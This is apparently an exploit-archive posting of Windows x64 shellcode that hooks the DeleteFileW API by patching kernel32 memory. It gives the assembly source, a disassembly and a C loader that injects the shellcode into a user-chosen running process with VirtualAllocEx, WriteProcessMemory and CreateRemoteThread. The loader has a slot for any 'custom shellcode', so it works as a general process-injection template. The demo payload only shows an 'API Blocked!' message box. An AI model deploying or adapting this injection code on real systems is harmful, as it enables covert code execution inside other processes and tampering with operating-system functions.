# Title : Windows x64 API Hooking Shellcode
# Author : Roziul Hasan Khan Shifat
# Size : 117 bytes
# Date : 16/10/2017
# Email : [email protected]
# Tested On : Windows 7 Ultimate x64
*/
/*
This Shellcode hooks DeteleFileW() API
Warning: Do no Use this Shellcode on explorer.exe Otherwise You won't be able to delete file from Recycle Bin
*/
/*
section .text
global _start
_start:
xor rdx,rdx
mov rax,[gs:rdx+0x60] ;PPEB
mov rax,[rax+24] ;PPEB->Ldr
mov rsi,[rax+32] ;Ldr->InMemOrderModuleList.Flink
mov rax,[rsi]
mov rsi,[rax]
mov rdi,[rsi+32] ;rdi=kernel32.dll base Address
;---------------------------------------------------------------
xor rsi,rsi
mov si,0x29f0
add rsi,rdi ;rsi=VirtualProtect()
;----------------------------------
;This Part is Important
xor r12,r12
mov r12w,0xa2b0 ;0x0000a2b0 is Relative Address of DeleteFileW()
add r12,rdi ;r12=DeleteFileW()
;---------------------------------------------------
;Changing memory attribute
mov rcx,r12
push rdx
mov dl,9
pop r8
mov r8b,0x40
sub rsp,4
lea r14,[rsp]
mov r9,r14
call rsi
;--------------------------------------------------------
mov [r12],byte 0xe9
jmp shellcode
inj:
pop rdx
sub rdx,r12
sub rdx,5
mov [r12+1],rdx
xor rdx,rdx
mov dl,9
mov rcx,r12
mov r8d,dword [r14]
mov r9,r14
call rsi
add rsp,4
ret
shellcode:
call inj
;This is My own shellcode
db 0x48,0x31,0xd2,0x65,0x48,0x8b,0x42,0x60,0x48,0x8b,0x40,0x18,0x48,0x8b,0x70,0x20,0x48,0x8b,0x06,0x48,0x8b,0x30,0x48,0x8b,0x7e,0x20,0x68,0x90,0x65,0x01,0x0a,0x80,0x74,0x24,0x03,0x0a,0x5b,0x48,0x01,0xfb,0x52,0x52,0x48,0xb8,0x75,0x73,0x65,0x72,0x33,0x32,0x2e,0x64,0x48,0x89,0x04,0x24,0x66,0xc7,0x44,0x24,0x08,0x6c,0x6c,0x48,0x8d,0x0c,0x24,0x48,0x83,0xec,0x58,0xff,0xd3,0x68,0xb8,0x12,0x07,0x0a,0x80,0x74,0x24,0x03,0x0a,0x5b,0x48,0x01,0xc3,0x48,0x31,0xc9,0x6a,0x10,0x41,0x59,0x51,0x51,0x48,0xba,0x41,0x50,0x49,0x20,0x42,0x6c,0x6f,0x63,0x48,0x89,0x14,0x24,0xc7,0x44,0x24,0x08,0x6b,0x65,0x64,0x21,0x48,0x8d,0x14,0x24,0x52,0x41,0x58,0x48,0x83,0xec,0x58,0x48,0x83,0xec,0x58,0xff,0xd3,0x90,0x48,0x31,0xd2,0x66,0xba,0x28,0x01,0x48,0x01,0xd4,0xc3
*/
/*
apiint.obj: file format pe-x86-64
Disassembly of section .text:
0000000000000000 <_start>:
0: 48 31 d2 xor %rdx,%rdx
3: 65 48 8b 42 60 mov %gs:0x60(%rdx),%rax
8: 48 8b 40 18 mov 0x18(%rax),%rax
c: 48 8b 70 20 mov 0x20(%rax),%rsi
10: 48 8b 06 mov (%rsi),%rax
13: 48 8b 30 mov (%rax),%rsi
16: 48 8b 7e 20 mov 0x20(%rsi),%rdi
1a: 48 31 f6 xor %rsi,%rsi
1d: 66 be f0 29 mov $0x29f0,%si
21: 48 01 fe add %rdi,%rsi
24: 4d 31 e4 xor %r12,%r12
27: 66 41 bc b0 a2 mov $0xa2b0,%r12w
2c: 49 01 fc add %rdi,%r12
2f: 4c 89 e1 mov %r12,%rcx
32: 52 push %rdx
33: b2 09 mov $0x9,%dl
35: 41 58 pop %r8
37: 41 b0 40 mov $0x40,%r8b
3a: 48 83 ec 04 sub $0x4,%rsp
3e: 4c 8d 34 24 lea (%rsp),%r14
42: 4d 89 f1 mov %r14,%r9
45: ff d6 callq *%rsi
47: 41 c6 04 24 e9 movb $0xe9,(%r12)
4c: eb 22 jmp 70 <shellcode>
000000000000004e <inj>:
4e: 5a pop %rdx
4f: 4c 29 e2 sub %r12,%rdx
52: 48 83 ea 05 sub $0x5,%rdx
56: 49 89 54 24 01 mov %rdx,0x1(%r12)
5b: 48 31 d2 xor %rdx,%rdx
5e: b2 09 mov $0x9,%dl
60: 4c 89 e1 mov %r12,%rcx
63: 45 8b 06 mov (%r14),%r8d
66: 4d 89 f1 mov %r14,%r9
69: ff d6 callq *%rsi
6b: 48 83 c4 04 add $0x4,%rsp
6f: c3 retq
0000000000000070 <shellcode>:
70: e8 d9 ff ff ff callq 4e <inj>
75: 48 31 d2 xor %rdx,%rdx
78: 65 48 8b 42 60 mov %gs:0x60(%rdx),%rax
7d: 48 8b 40 18 mov 0x18(%rax),%rax
81: 48 8b 70 20 mov 0x20(%rax),%rsi
85: 48 8b 06 mov (%rsi),%rax
88: 48 8b 30 mov (%rax),%rsi
8b: 48 8b 7e 20 mov 0x20(%rsi),%rdi
8f: 68 90 65 01 0a pushq $0xa016590
94: 80 74 24 03 0a xorb $0xa,0x3(%rsp)
99: 5b pop %rbx
9a: 48 01 fb add %rdi,%rbx
9d: 52 push %rdx
9e: 52 push %rdx
9f: 48 b8 75 73 65 72 33 movabs $0x642e323372657375,%rax
a6: 32 2e 64
a9: 48 89 04 24 mov %rax,(%rsp)
ad: 66 c7 44 24 08 6c 6c movw $0x6c6c,0x8(%rsp)
b4: 48 8d 0c 24 lea (%rsp),%rcx
b8: 48 83 ec 58 sub $0x58,%rsp
bc: ff d3 callq *%rbx
be: 68 b8 12 07 0a pushq $0xa0712b8
c3: 80 74 24 03 0a xorb $0xa,0x3(%rsp)
c8: 5b pop %rbx
c9: 48 01 c3 add %rax,%rbx
cc: 48 31 c9 xor %rcx,%rcx
cf: 6a 10 pushq $0x10
d1: 41 59 pop %r9
d3: 51 push %rcx
d4: 51 push %rcx
d5: 48 ba 41 50 49 20 42 movabs $0x636f6c4220495041,%rdx
dc: 6c 6f 63
df: 48 89 14 24 mov %rdx,(%rsp)
e3: c7 44 24 08 6b 65 64 movl $0x2164656b,0x8(%rsp)
ea: 21
eb: 48 8d 14 24 lea (%rsp),%rdx
ef: 52 push %rdx
f0: 41 58 pop %r8
f2: 48 83 ec 58 sub $0x58,%rsp
f6: 48 83 ec 58 sub $0x58,%rsp
fa: ff d3 callq *%rbx
fc: 90 nop
fd: 48 31 d2 xor %rdx,%rdx
100: 66 ba 28 01 mov $0x128,%dx
104: 48 01 d4 add %rdx,%rsp
107: c3 retq
*/
#include<stdio.h>
#include<windows.h>
#include<tlhelp32.h>
#include<string.h>
unsigned char shellcode[]=\
//Main Shellcode (Interceptor Shellcode)
"\x48\x31\xd2\x65\x48\x8b\x42\x60\x48\x8b\x40\x18\x48\x8b\x70\x20\x48\x8b\x06\x48\x8b\x30\x48\x8b\x7e\x20\x48\x31\xf6\x66\xbe\xf0\x29\x48\x01\xfe\x4d\x31\xe4\x66\x41\xbc\xb0\xa2\x49\x01\xfc\x4c\x89\xe1\x52\xb2\x09\x41\x58\x41\xb0\x40\x48\x83\xec\x04\x4c\x8d\x34\x24\x4d\x89\xf1\xff\xd6\x41\xc6\x04\x24\xe9\xeb\x22\x5a\x4c\x29\xe2\x48\x83\xea\x05\x49\x89\x54\x24\x01\x48\x31\xd2\xb2\x09\x4c\x89\xe1\x45\x8b\x06\x4d\x89\xf1\xff\xd6\x48\x83\xc4\x04\xc3\xe8\xd9\xff\xff\xff"
//Your Custom shellcode
"\x48\x31\xd2\x65\x48\x8b\x42\x60\x48\x8b\x40\x18\x48\x8b\x70\x20\x48\x8b\x06\x48\x8b\x30\x48\x8b\x7e\x20\x68\x90\x65\x01\x0a\x80\x74\x24\x03\x0a\x5b\x48\x01\xfb\x52\x52\x48\xb8\x75\x73\x65\x72\x33\x32\x2e\x64\x48\x89\x04\x24\x66\xc7\x44\x24\x08\x6c\x6c\x48\x8d\x0c\x24\x48\x83\xec\x58\xff\xd3\x68\xb8\x12\x07\x0a\x80\x74\x24\x03\x0a\x5b\x48\x01\xc3\x48\x31\xc9\x6a\x10\x41\x59\x51\x51\x48\xba\x41\x50\x49\x20\x42\x6c\x6f\x63\x48\x89\x14\x24\xc7\x44\x24\x08\x6b\x65\x64\x21\x48\x8d\x14\x24\x52\x41\x58\x48\x83\xec\x58\x48\x83\xec\x58\xff\xd3\x90\x48\x31\xd2\x66\xba\x28\x01\x48\x01\xd4\xc3";
int main()
{
HANDLE snap,proc,mem;
DWORD len,l,pid;
PROCESSENTRY32 ps;
ps.dwSize=sizeof(ps);
len=strlen(shellcode);
snap=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
if(snap==INVALID_HANDLE_VALUE)
{
printf("CreateToolhelp32Snapshot() Failed");
return 0;
}
if(!Process32First(snap,&ps))
{
printf("Process32First() Failed");
return 0;
}
do
{
printf("%s : %ld\n",ps.szExeFile,ps.th32ProcessID);
}while(Process32Next(snap,&ps));
printf("\nEnter Process ID: ");
scanf("%ld",&pid);
proc=OpenProcess(PROCESS_ALL_ACCESS,0,pid);
if(!proc)
{
printf("Failed to Open Process");
return 0;
}
mem=VirtualAllocEx(proc,NULL,len,MEM_COMMIT,PAGE_EXECUTE_READWRITE);
if(!mem)
{
printf("Failed to allocate memory in process");
return 0;
}
WriteProcessMemory(proc,mem,shellcode,len,NULL);
VirtualProtectEx(proc,mem,len,PAGE_EXECUTE_READ,&l);
CreateRemoteThread(proc,NULL,0,(LPTHREAD_START_ROUTINE)mem,NULL,0,0);
CloseHandle(proc);
return 0;
}
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